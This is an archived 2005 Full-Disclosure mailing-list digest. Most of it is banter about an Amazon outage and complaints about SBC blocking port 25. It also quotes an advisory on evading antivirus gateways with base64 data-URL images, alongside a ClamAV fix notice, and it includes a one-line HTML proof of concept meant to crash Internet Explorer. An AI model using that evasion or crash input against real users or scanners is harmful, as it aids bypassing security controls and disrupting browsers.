References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
Message-ID: <41E814F0.10201@pwarchitects.com>

Jianqiang Xin wrote:
> It seems that Amazon.com is down. Is it related to any attack?

FYI, to remove local routing or DNS issues you should really check 
things like this (via IP) from >2 geo-locations before mailing, then 
post the relevant trace-routes, etc.

-- 
dk


From trog at uncon.org  Fri Jan 14 19:07:00 2005
From: trog at uncon.org (Trog)
Date: Fri, 14 Jan 2005 19:07:00 +0000
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection
	bypass vulnerability
Message-ID: <1105729620.5101.22.camel@maze.xs-security.com>

Quoting Darren Bounds <dbounds at intrusense.com>:

> Multi-vendor AV gateway image inspection bypass vulnerability
> January 10, 2005
> 
> A vulnerability has been discovered which allows a remote attacker
> to bypass anti-virus
> (as well other security technologies such as IDS and IPS) inspection
> of HTTP image content.
> 
> By leveraging techniques described in RFC 2397 for base64 encoding  
> image content within
> the URL scheme. A remote attack may encode a malicious image within
> thebody of an HTML
> formatted document to circumvent content inspection.

Support for extracting RFC2397 encoded data within HTML documents has
been added to the CVS version of Clam AntiVirus, the open source virus
scanner.

The next stable release containing this feature, version 0.81 is
scheduled to become a Release Candidate on 19th Jan.

Until that time, access to the current development code is available via
CVS and nightly tarballs. See www.clamav.net for download details.

Thanks,
-trog




From davids at webmaster.com  Fri Jan 14 19:17:31 2005
From: davids at webmaster.com (David Schwartz)
Date: Fri, 14 Jan 2005 11:17:31 -0800
Subject: [Full-Disclosure] RE: [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <200501141751.j0EHpg9X002848@lists.netsys.com>
Message-ID: <MDEHLPKNGKAHNMBLJOLKEEJLBBAB.davids@webmaster.com>


> Approximately an hour ago, we lost TCP port 25 from/to anywhere.
> This, on our "Business-Class DSL" line.  A call to SWB confirms that:
>
> (a) The decision to block *everyone* was made some time ago;
> (b) SWB chose not to notify anyone of this impending change;
> (c) There are NO exceptions.  Just how this "service" qualifies as a
> "Business Class DSL" is anyone's guess.
> (d) While they state that they will offer relay services, to get them
> requires that you fill out a form and send it in to SWB for
> processing: a
> process that could take "several weeks".

	If you signed a contract that allows your ISP to place permanent,
non-emergency filters on your line that filter out any content they decide
they don't like with no notification and no way for you to opt out, you're a
fool. If you didn't, then you should complain loudly (and if necessary sue)
for their violation of your contract.

	When I negotiate deals with ISPs to provide business class service, these
types of things are often the most complicated part of the negotiations. You
should definitely demand the following and not choose an ISP that doesn't
provide it:

	1) Notification of all filters that will be applied to all packets destined
to your IP addresses or sourced from your line. At least 3 business days
ahead in non-emergency situations and as soon as practical in emergency
situations.

	2) The ability to opt out of any and all filters that the ISP might place
upon packets destined for your IP addresses or sourced by your circuit with
the following exceptions:

	A) Packets destined for IP addresses that the ISP knows are not valid.

	B) Packets sourced from IP addresses that the ISP does not know belongs to
you.

	C) Emergency filters placed to deal with a problem that is in progress.
Such filters may only be kept as long as the problem is actually ongoing and
may not be more restrictive than is reasonably necessary to deal with the
emergency.

	D) Future filters that are the result of technical necessity. These must be
reasonably constructed so that they are as narrow as possible to block out
only known harmful or malicious traffic.

	3) Filters blocking based on IP protocol, ICMP type, TCP or UDP port, are
never considered technically necessary. Specifically, blocking all SCTP, for
example, or all packets with unknown IP protocol fields may only be done on
an emergency basis or with an opt out option.

	4) The ISP specically waives any right to consider its filtering policies a
trade secret or otherwise confidential as a means of keeping you from
getting access to the policies. They may request that you not disclose them
(and you can commit to honor this request).

	DS




From Valdis.Kletnieks at vt.edu  Fri Jan 14 19:28:23 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 14 Jan 2005 14:28:23 -0500
Subject: [Full-Disclosure] network associates mcafee controls 
In-Reply-To: Your message of "Fri, 14 Jan 2005 19:54:28 +0300."
	<E1CpUiS-0009ZZ-00.bvsev-mail-ru@f29.mail.ru> 
References: <E1CpUiS-0009ZZ-00.bvsev-mail-ru@f29.mail.ru>
Message-ID: <200501141928.j0EJSN4J031517@turing-police.cc.vt.edu>

On Fri, 14 Jan 2005 19:54:28 +0300, bvsev at mail.ru said:
> Does anybody know or had any experiences with mcafee parental controls. It's 
> used at my work,

"Parental Controls".  "Used at work".

I suspect that the employer-employee relationship there has some major issues.
And that said issues are likely to be made worse by circumventing them.

In other words: Do you *really* want to risk getting fired for hacking around
something the management thinks is needed?
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/be7dc088/attachment.bin 

From measl at mfn.org  Fri Jan 14 20:36:30 2005
From: measl at mfn.org (J.A. Terranson)
Date: Fri, 14 Jan 2005 14:36:30 -0600 (CST)
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <003001c4fa60$938444a0$eb9df718@celeron>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1><41E7F1F7.8090603@eng.iastate.edu>
	<20050114104530.F20834@ubzr.zsa.bet>
	<003001c4fa60$938444a0$eb9df718@celeron>
Message-ID: <20050114143601.T20834@ubzr.zsa.bet>



Oh Humor-Impaired-One: it was a joke.  Get it?  Joke?  J-O-K-E...


On Fri, 14 Jan 2005, Scot Bryhan wrote:

> Date: Fri, 14 Jan 2005 12:43:36 -0500
> From: Scot Bryhan <dsbryhan at chartermi.net>
> To: J.A. Terranson <measl at mfn.org>, Jianqiang Xin <jqxin at iastate.edu>
> Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
> Subject: Re: [Full-Disclosure] Amazon.com is down
>
> no, their IP space is from UU.NET and www.amazon.com is active from
> Michigan.
> Scot
>
>
> ----- Original Message -----
> From: "J.A. Terranson" <measl at mfn.org>
> To: "Jianqiang Xin" <jqxin at iastate.edu>
> Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
> Sent: Friday, January 14, 2005 11:45 AM
> Subject: Re: [Full-Disclosure] Amazon.com is down
>
>
> >
> > On Fri, 14 Jan 2005, Jianqiang Xin wrote:
> >
> > > It seems that Amazon.com is down. Is it related to any attack?
> >
> > They're probably being hosted by SWB...
> >
> > --
> > Yours,
> >
> > J.A. Terranson
> > sysadmin at mfn.org
> > 0xBD4A95BF
> >
> >  Civilization is in a tailspin - everything is backwards, everything is
> > upside down- doctors destroy health, psychiatrists destroy minds, lawyers
> > destroy justice, the major media destroy information, governments destroy
> > freedom and religions destroy spirituality - yet it is claimed to be
> > healthy, just, informed, free and spiritual. We live in a social system
> > whose community, wealth, love and life is derived from alienation,
> > poverty, self-hate and medical murder - yet we tell ourselves that it is
> > biologically and ecologically sustainable.
> >
> > The Bush plan to screen whole US population for mental illness clearly
> > indicates that mental illness starts at the top.
> >
> > Rev Dr Michael Ellner
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From measl at mfn.org  Fri Jan 14 20:43:38 2005
From: measl at mfn.org (J.A. Terranson)
Date: Fri, 14 Jan 2005 14:43:38 -0600 (CST)
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <001801c4fa5e$2c16ad50$1214dd80@corp.emc.com>
References: <20050114103525.E20834@ubzr.zsa.bet>
	<001801c4fa5e$2c16ad50$1214dd80@corp.emc.com>
Message-ID: <20050114143951.J20834@ubzr.zsa.bet>



On Fri, 14 Jan 2005, Exibar wrote:

> As far as I'm concerned.  A business ISP should not block any port for any
> reason unless requested by the business that is leasing that line...  This
> should include DSL and Broadband cable business class links as well.

Agreed.


>  I'd drop them and get another provider if I could...

Had they warned us they were doing this, we *would* have gone elsewhere
long before this was an issue.  We're still going to go elsewhere, but now
we're screwed until the new line drops.

> either that or figure
> out how much it's costing your company, and sue them for lost revenue.

We're bandaided with a jury-rigged tunnel, so it's painful but not deadly
(for *us* - whatabout MomAndPopBusinessDSLuser?), so wasting money on
lawyerlarvae is not a good use of resources.  But the point remains that
this is BULLSHIT!  DO YOU HEAR ME SOUTHWESTERN BELL??  F*@#&^ YOU!!

>   Exibar

-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From dsbryhan at chartermi.net  Fri Jan 14 21:50:05 2005
From: dsbryhan at chartermi.net (Scot Bryhan)
Date: Fri, 14 Jan 2005 16:50:05 -0500
Subject: [Full-Disclosure] Amazon.com is down
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1><41E7F1F7.8090603@eng.iastate.edu><20050114104530.F20834@ubzr.zsa.bet><003001c4fa60$938444a0$eb9df718@celeron>
	<20050114143601.T20834@ubzr.zsa.bet>
Message-ID: <004001c4fa83$038082b0$eb9df718@celeron>

pause for my best George Mcfly laugh: "ah,ah,ah,ah,ah,ah!"
Scot

----- Original Message ----- 
From: "J.A. Terranson" <measl at mfn.org>
To: "Scot Bryhan" <dsbryhan at chartermi.net>
Cc: "Jianqiang Xin" <jqxin at iastate.edu>; "Full-Disclosure (E-mail)"
<full-disclosure at lists.netsys.com>
Sent: Friday, January 14, 2005 3:36 PM
Subject: Re: [Full-Disclosure] Amazon.com is down


>
>
> Oh Humor-Impaired-One: it was a joke.  Get it?  Joke?  J-O-K-E...
>
>
> On Fri, 14 Jan 2005, Scot Bryhan wrote:
>
> > Date: Fri, 14 Jan 2005 12:43:36 -0500
> > From: Scot Bryhan <dsbryhan at chartermi.net>
> > To: J.A. Terranson <measl at mfn.org>, Jianqiang Xin <jqxin at iastate.edu>
> > Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
> > Subject: Re: [Full-Disclosure] Amazon.com is down
> >
> > no, their IP space is from UU.NET and www.amazon.com is active from
> > Michigan.
> > Scot
> >
> >
> > ----- Original Message -----
> > From: "J.A. Terranson" <measl at mfn.org>
> > To: "Jianqiang Xin" <jqxin at iastate.edu>
> > Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
> > Sent: Friday, January 14, 2005 11:45 AM
> > Subject: Re: [Full-Disclosure] Amazon.com is down
> >
> >
> > >
> > > On Fri, 14 Jan 2005, Jianqiang Xin wrote:
> > >
> > > > It seems that Amazon.com is down. Is it related to any attack?
> > >
> > > They're probably being hosted by SWB...
> > >
> > > --
> > > Yours,
> > >
> > > J.A. Terranson
> > > sysadmin at mfn.org
> > > 0xBD4A95BF
> > >
> > >  Civilization is in a tailspin - everything is backwards, everything
is
> > > upside down- doctors destroy health, psychiatrists destroy minds,
lawyers
> > > destroy justice, the major media destroy information, governments
destroy
> > > freedom and religions destroy spirituality - yet it is claimed to be
> > > healthy, just, informed, free and spiritual. We live in a social
system
> > > whose community, wealth, love and life is derived from alienation,
> > > poverty, self-hate and medical murder - yet we tell ourselves that it
is
> > > biologically and ecologically sustainable.
> > >
> > > The Bush plan to screen whole US population for mental illness clearly
> > > indicates that mental illness starts at the top.
> > >
> > > Rev Dr Michael Ellner
> > > _______________________________________________
> > > Full-Disclosure - We believe in it.
> > > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> >
>
> -- 
> Yours,
>
> J.A. Terranson
> sysadmin at mfn.org
> 0xBD4A95BF
>
>  Civilization is in a tailspin - everything is backwards, everything is
> upside down- doctors destroy health, psychiatrists destroy minds, lawyers
> destroy justice, the major media destroy information, governments destroy
> freedom and religions destroy spirituality - yet it is claimed to be
> healthy, just, informed, free and spiritual. We live in a social system
> whose community, wealth, love and life is derived from alienation,
> poverty, self-hate and medical murder - yet we tell ourselves that it is
> biologically and ecologically sustainable.
>
> The Bush plan to screen whole US population for mental illness clearly
> indicates that mental illness starts at the top.
>
> Rev Dr Michael Ellner
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html



From nocon at texas-shooters.com  Fri Jan 14 21:59:17 2005
From: nocon at texas-shooters.com (noconflic)
Date: Fri, 14 Jan 2005 15:59:17 -0600
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <20050114103525.E20834@ubzr.zsa.bet>
References: <20050114103525.E20834@ubzr.zsa.bet>
Message-ID: <20050114215916.GA25544@ak.texas-shooters.com>

[measl at mfn.org] Fri, Jan 14, 2005 at 10:44:16AM -0600 wrote:
> 
> Good Morning,
> 
> 	I thought the list would be interested in a story which is
> developing as we speak.
> 
> 	Approximately an hour ago, we lost TCP port 25 from/to anywhere.
> This, on our "Business-Class DSL" line.  A call to SWB confirms that:
> 
> (a) The decision to block *everyone* was made some time ago;
> (b) SWB chose not to notify anyone of this impending change;
> (c) There are NO exceptions.  Just how this "service" qualifies as a
> "Business Class DSL" is anyone's guess.
> (d) While they state that they will offer relay services, to get them
> requires that you fill out a form and send it in to SWB for processing: a
> process that could take "several weeks".
> 
> 	Even the most rabid "block port-25 everywhere" can't agree that
> this is the right way to do this.  As for the ~$60.00 we pay every month
> for "Business Class" service - what the hell is that money *buying*???
> 

  Unless something in thier policy has changed, you can opt-out here:
   http://help.sbcglobal.net/legacy/abuseform/

  worked for me. 

- nocon




From y_avenger_y at ua.fm  Fri Jan 14 22:01:49 2005
From: y_avenger_y at ua.fm (Alex V. Lukyanenko)
Date: Sat, 15 Jan 2005 00:01:49 +0200
Subject: [Full-Disclosure] little crash in IE
In-Reply-To: <01b001c4f9c4$d24eeab0$3f0010ac@thesur>
References: <01b001c4f9c4$d24eeab0$3f0010ac@thesur>
Message-ID: <838081435.20050115000149@ua.fm>

s> my little proof of concept: <html><iframe src="file:///?:\"
name="thesur">>Aew fdp :)</html>
IE 6.0.2900.2180.xpsp_sp2_rtm.040803-2158 won't crash.
(Windows XP PRO SP2 EN, up-to-date through WU)


-- 
Alex V. Lukyanenko | 86195208 at icq



From y_avenger_y at ua.fm  Fri Jan 14 22:04:34 2005
From: y_avenger_y at ua.fm (Alex V. Lukyanenko)
Date: Sat, 15 Jan 2005 00:04:34 +0200
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <20050114143601.T20834@ubzr.zsa.bet>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1><41E7F1F7.8090603@eng.iastate.edu>
	<20050114104530.F20834@ubzr.zsa.bet>
	<003001c4fa60$938444a0$eb9df718@celeron>
	<20050114143601.T20834@ubzr.zsa.bet>
Message-ID: <1148215029.20050115000434@ua.fm>

JAT> Oh Humor-Impaired-One: it was a joke.  Get it?  Joke?  J-O-K-E...

looks like an attempt to initiate a DDoS on Amazon from FD readers
going to check if it's up or down :))
-- 
Alex V. Lukyanenko | 86195208 at icq



From measl at mfn.org  Fri Jan 14 22:33:36 2005
From: measl at mfn.org (J.A. Terranson)
Date: Fri, 14 Jan 2005 16:33:36 -0600 (CST)
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <20050114215916.GA25544@ak.texas-shooters.com>
References: <20050114103525.E20834@ubzr.zsa.bet>
	<20050114215916.GA25544@ak.texas-shooters.com>
Message-ID: <20050114162926.S20834@ubzr.zsa.bet>



On Fri, 14 Jan 2005, noconflic wrote:

> > 	Even the most rabid "block port-25 everywhere" can't agree that
> > this is the right way to do this.  As for the ~$60.00 we pay every month
> > for "Business Class" service - what the hell is that money *buying*???
> >
>
>   Unless something in thier policy has changed, you can opt-out here:
>    http://help.sbcglobal.net/legacy/abuseform/
>
>   worked for me.

Good.  Hopefully it will work for us as well (yes, we filled it out
earlier today).  Nevertheless, it does not change the fact that SWb
started blocking *BUSINESS* customers, *without warning of ANY kind*,
while charging a significant premium for service, and without any
mechanism in place to *immediately* reverse this change.  In fact, SWB
should have either announced this was coming in their monthly bill, and
given everyone a chance to go elsewhere, or they should have had a
pre-optout choice so that customers were not brought down without warning
and without recourse.

Fortunately for us we are only using this for office to datacenter
connectivity, and can fudge a temporary solution to carry us through this:
what about other small companies who actually *rely* on this as their
primary connectivity?

>
> - nocon



-- 
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation,
poverty, self-hate and medical murder - yet we tell ourselves that it is
biologically and ecologically sustainable.

The Bush plan to screen whole US population for mental illness clearly
indicates that mental illness starts at the top.

Rev Dr Michael Ellner


From hackerwacker at cybermesa.com  Fri Jan 14 23:26:22 2005
From: hackerwacker at cybermesa.com (james edwards)
Date: Fri, 14 Jan 2005 16:26:22 -0700
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
References: <20050114103525.E20834@ubzr.zsa.bet><20050114215916.GA25544@ak.texas-shooters.com>
	<20050114162926.S20834@ubzr.zsa.bet>
Message-ID: <015a01c4fa90$7563dcd0$0200020a@jamesnew>

> earlier today).  Nevertheless, it does not change the fact that SWb
> started blocking *BUSINESS* customers, *without warning of ANY kind*,
> while charging a significant premium for service, and without any
> mechanism in place to *immediately* reverse this change.  In fact, SWB
> should have either announced this was coming in their monthly bill, and
> given everyone a chance to go elsewhere, or they should have had a
> pre-optout choice so that customers were not brought down without warning
> and without recourse.

Not according to their AUP & If you want an SLA get a T-1:

Prodigy reserves the right to modify this policy at any time without prior
notification.

Disclaimer of Warranties; Limitation of Liability


YOU EXPRESSLY AGREE THAT YOUR USE OF THE SERVICE IS AT YOUR SOLE RISK. THE
SERVICE IS MADE AVAILABLE ON AN "AS IS," "AS AVAILABLE" BASIS. NEITHER
PRODIGY NOR ANY SUPPLIER, LICENSOR, EMPLOYEE, AGENT, OR CONTRACTOR MAKES ANY
WARRANTY WHATSOEVER REGARDING THE SERVICE OR THE INTERNET, ANY INFORMATION,
SERVICES OR PRODUCTS PROVIDED THROUGH OR IN CONNECTION WITH THE SERVICE OR
THE INTERNET (INCLUDING WITHOUT LIMITATION THE COMPANY SOFTWARE LICENSED
HEREUNDER), OR ANY RESULTS TO BE OBTAINED THROUGH THE USE THEREOF, AND THE
COMPANY HEREBY EXPRESSLY DISCLAIMS ON BEHALF OF ITSELF AND ALL SUPPLIERS ANY
AND ALL WARRANTIES, INCLUDING WITHOUT LIMITATION: (1) ANY WARRANTIES AS TO
THE AVAILABILITY, ACCURACY, SECURITY, NON-INFRINGEMENT, OR CONTENT OF
INFORMATION, PRODUCTS, OR SERVICES; AND (2) ANY WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. SOME STATES DO NOT
ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO THE ABOVE EXCLUSION MAY NOT
APPLY TO YOU.

ANY LIABILITY OF THE COMPANY, ITS SUPPLIERS, LICENSORS, EMPLOYEES, AGENTS,
OR CONTRACTORS, INCLUDING WITHOUT LIMITATION ANY LIABILITY FOR DAMAGES
CAUSED OR ALLEGEDLY CAUSED BY ANY FAILURE OF PERFORMANCE, ERROR, OMISSION,
INTERRUPTION, DELETION, DEFECT, DELAY IN OPERATION OR TRANSMISSION, COMPUTER
VIRUS, COMMUNICATIONS LINE FAILURE, THEFT OR DESTRUCTION OR UNAUTHORIZED
ACCESS TO, ALTERATION OF, OR USE OF RECORDS, WHETHER FOR BREACH OF CONTRACT,
TORTIOUS BEHAVIOR, NEGLIGENCE, OR UNDER ANY OTHER CAUSE OF ACTION, SHALL BE
STRICTLY LIMITED TO THE AMOUNT PAID TO PRODIGY BY OR ON BEHALF OF THE MEMBER
FOR MEMBERSHIP FEES (EXCLUDING FEES FOR SEPARATELY CHARGED EXTRA FEE
FEATURES OR OPTIONS) IN THE 12 MONTHS PRIOR TO THE CLAIMED INJURY OR DAMAGE.
IN NO EVENT SHALL THE COMPANY, ITS SUPPLIERS, LICENSORS, EMPLOYEES, AGENTS,
OR CONTRACTORS BE LIABLE FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR
CONSEQUENTIAL DAMAGES (EVEN IF PRODIGY HAS BEEN ADVISED OF THE POSSIBILITY
OF SUCH DAMAGES) ARISING OUT OF THE USE OR INABILITY TO USE THE SERVICE, THE
INTERNET, OR ANY BREACH OF ANY WARRANTY. SOME STATES DO NOT ALLOW THE
LIMITATION OR EXCLUSION OF LIABILITY FOR INCIDENTAL OR CONSEQUENTIAL
DAMAGES, SO THE ABOVE LIMITATION OR EXCLUSION MAY NOT APPLY TO YOU.





From stfunub at gmail.com  Fri Jan 14 23:30:29 2005
From: stfunub at gmail.com (Andrew Smith)
Date: Fri, 14 Jan 2005 23:30:29 +0000
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <1148215029.20050115000434@ua.fm>
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1>
	<41E7F1F7.8090603@eng.iastate.edu>
	<20050114104530.F20834@ubzr.zsa.bet>
	<003001c4fa60$938444a0$eb9df718@celeron>
	<20050114143601.T20834@ubzr.zsa.bet> <1148215029.20050115000434@ua.fm>
Message-ID: <33713abc050114153091c3f4c@mail.gmail.com>

> looks like an attempt to initiate a DDoS on Amazon from FD readers
> going to check if it's up or down :))

but you'd have to be a complete moron to think that that would work..

And if it truely was a "joke" (i hope to god not) then I do not
beleive it is us that are "Humour Impaired"..
-- 
zxy_rbt2


From tool8185 at adelphia.net  Fri Jan 14 23:30:55 2005
From: tool8185 at adelphia.net (matt)
Date: Fri, 14 Jan 2005 18:30:55 -0500
Subject: [Full-Disclosure] SBC Blocks Port 25 - No Exceptions.
References: <20050114103525.E20834@ubzr.zsa.bet><20050114215916.GA25544@ak.texas-shooters.com>
	<20050114162926.S20834@ubzr.zsa.bet>
Message-ID: <000a01c4fa91$1862b320$6501a8c0@hitech>

hey,

here is a link to a quick fix from no-ip.com called reflector -
http://www.no-ip.com/tips.php/id/10.

matt
----- Original Message ----- 
From: "J.A. Terranson" <measl at mfn.org>
To: "noconflic" <nocon at texas-shooters.com>
Cc: "Spam Prevention Discussion List" <SPAM-L at peach.ease.lsoft.com>;
<full-disclosure at lists.netsys.com>
Sent: Friday, January 14, 2005 5:33 PM
Subject: Re: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.


>
>
> On Fri, 14 Jan 2005, noconflic wrote:
>
> > > Even the most rabid "block port-25 everywhere" can't agree that
> > > this is the right way to do this.  As for the ~$60.00 we pay every
month
> > > for "Business Class" service - what the hell is that money *buying*???
> > >
> >
> >   Unless something in thier policy has changed, you can opt-out here:
> >    http://help.sbcglobal.net/legacy/abuseform/
> >
> >   worked for me.
>
> Good.  Hopefully it will work for us as well (yes, we filled it out
> earlier today).  Nevertheless, it does not change the fact that SWb
> started blocking *BUSINESS* customers, *without warning of ANY kind*,
> while charging a significant premium for service, and without any
> mechanism in place to *immediately* reverse this change.  In fact, SWB
> should have either announced this was coming in their monthly bill, and
> given everyone a chance to go elsewhere, or they should have had a
> pre-optout choice so that customers were not brought down without warning
> and without recourse.
>
> Fortunately for us we are only using this for office to datacenter
> connectivity, and can fudge a temporary solution to carry us through this:
> what about other small companies who actually *rely* on this as their
> primary connectivity?
>
> >
> > - nocon
>
>
>
> -- 
> Yours,
>
> J.A. Terranson
> sysadmin at mfn.org
> 0xBD4A95BF
>
>  Civilization is in a tailspin - everything is backwards, everything is
> upside down- doctors destroy health, psychiatrists destroy minds, lawyers
> destroy justice, the major media destroy information, governments destroy
> freedom and religions destroy spirituality - yet it is claimed to be
> healthy, just, informed, free and spiritual. We live in a social system
> whose community, wealth, love and life is derived from alienation,
> poverty, self-hate and medical murder - yet we tell ourselves that it is
> biologically and ecologically sustainable.
>
> The Bush plan to screen whole US population for mental illness clearly
> indicates that mental illness starts at the top.
>
> Rev Dr Michael Ellner
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>



From seclists at securinews.com  Fri Jan 14 23:46:44 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Fri, 14 Jan 2005 18:46:44 -0500
Subject: [Full-Disclosure] Amazon.com is down
In-Reply-To: <41E7F1F7.8090603@eng.iastate.edu>
Message-ID: <200501142346.j0ENktrs009834@lists.netsys.com>

It is up at 18:46 EST

  _____  

From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Jianqiang Xin
Sent: Friday, January 14, 2005 11:23 AM
To: Full-Disclosure (E-mail)
Subject: [Full-Disclosure] Amazon.com is down


It seems that Amazon.com is down. Is it related to any attack? 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050114/7c97a7ad/attachment.html 

From iago at valhallalegends.com  Sat Jan 15 00:14:32 2005
From: iago at valhallalegends.com (Ron)
Date: Fri, 14 Jan 2005 18:14:32 -0600
Subject: [Full-Disclosure] Google.com down?
Message-ID: <41E86068.4040709@valhallalegends.com>

I just tried to do a google search, and the connection timed out.  
Coincidentally, I had to dial back into the Internet.  After dialing 
back in, I figured I'd alert everybody that Google might be down!

- Ron




From mlande at bellsouth.net  Sat Jan 15 00:24:16 2005
From: mlande at bellsouth.net (Mary Landesman)
Date: Fri, 14 Jan 2005 19:24:16 -0500
Subject: [Full-Disclosure] Amazon.com is down
References: <6CDD95AD0FF2D311BC6A009027DC6B990530EC9E@MAIL1><41E7F1F7.8090603@eng.iastate.edu><20050114104530.F20834@ubzr.zsa.bet><003001c4fa60$938444a0$eb9df718@celeron><20050114143601.T20834@ubzr.zsa.bet>
	<1148215029.20050115000434@ua.fm>
	<33713abc050114153091c3f4c@mail.gmail.com>
Message-ID: <008901c4fa98$8c80c9c0$0e3eac18@MLANDE>

"Andrew Smith" <stfunub at gmail.com> scribed:

> but you'd have to be a complete moron to think that that would work..

> And if it truely was a "joke" (i hope to god not) then I do not
> beleive it is us that are "Humour Impaired"..

Let me dissect the joke for you...

J.A. Terranson posted that SWB was blocking port 25
Jianqiang Xin posted that Amazon.com was down and asked if it was related to
any attack.
J.A. Terranson then joked that maybe Amazon.com was hosted by SWB
Scot Bryhan took the joke literally
J.A. Terranson tried to help Scot understand the joke
Alex V. Lukyanenko then joined in the joke, even adding two smileys to his
FD DDoS satire
Andrew Smith failed to understand the humor in any of it

-- Mary


----- Original Message ----- 
From: "Andrew Smith" <stfunub at gmail.com>
To: "Alex V. Lukyanenko" <y_avenger_y at ua.fm>
Cc: "Full-Disclosure (E-mail)" <full-disclosure at lists.netsys.com>
Sent: Friday, January 14, 2005 6:30 PM
Subject: Re: Re[2]: [Full-Disclosure] Amazon.com is down


> looks like an attempt to initiate a DDoS on Amazon from FD readers
> going to check if it's up or down :))

but you'd have to be a complete moron to think that that would work..

And if it truely was a "joke" (i hope to god not) then I do not
beleive it is us that are "Humour Impaired"..
-- 
zxy_rbt2
_______________________________________________



From seclists at securinews.com  Sat Jan 15 00:23:11 2005
From: seclists at securinews.com (Paul Kurczaba)
Date: Fri, 14 Jan 2005 19:23:11 -0500
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.
In-Reply-To: <20050114103525.E20834@ubzr.zsa.bet>
Message-ID: <200501150023.j0F0NNrs014180@lists.netsys.com>

We've had nothing but problems with SBC. I would look at AT&T Business DSL.
Pricy ($80-$100), but the speed is awesome (3.0 Mbps). They do not block
port 25. Yeah!

-Paul Kurczaba

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of J.A.
Terranson
Sent: Friday, January 14, 2005 11:44 AM
To: Spam Prevention Discussion List
Cc: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] [MISC] SBC Blocks Port 25 - No Exceptions.


Good Morning,

	I thought the list would be interested in a story which is
developing as we speak.

	Approximately an hour ago, we lost TCP port 25 from/to anywhere.
This, on our "Business-Class DSL" line.  A call to SWB confirms that:

(a) The decision to block *everyone* was made some time ago;
(b) SWB chose not to notify anyone of this impending change;
(c) There are NO exceptions.  Just how this "service" qualifies as a
"Business Class DSL" is anyone's guess.
(d) While they state that they will offer relay services, to get them
requires that you fill out a form and send it in to SWB for processing: a
process that could take "several weeks".

	Even the most rabid "block port-25 everywhere" can't agree that this
is the right way to do this.  As for the ~$60.00 we pay every month for
"Business Class" service - what the hell is that money *buying*???

--
Yours,

J.A. Terranson
sysadmin at mfn.org
0xBD4A95BF

 Civilization is in a tailspin - everything is backwards, everything is
upside down- doctors destroy health, psychiatrists destroy minds, lawyers
destroy justice, the major media destroy information, governments destroy
freedom and religions destroy spirituality - yet it is claimed to be
healthy, just, informed, free and spiritual. We live in a social system
whose community, wealth, love and life is derived from alienation, poverty,
self-hate and medical murder - yet we tell ourselves that it is biologically
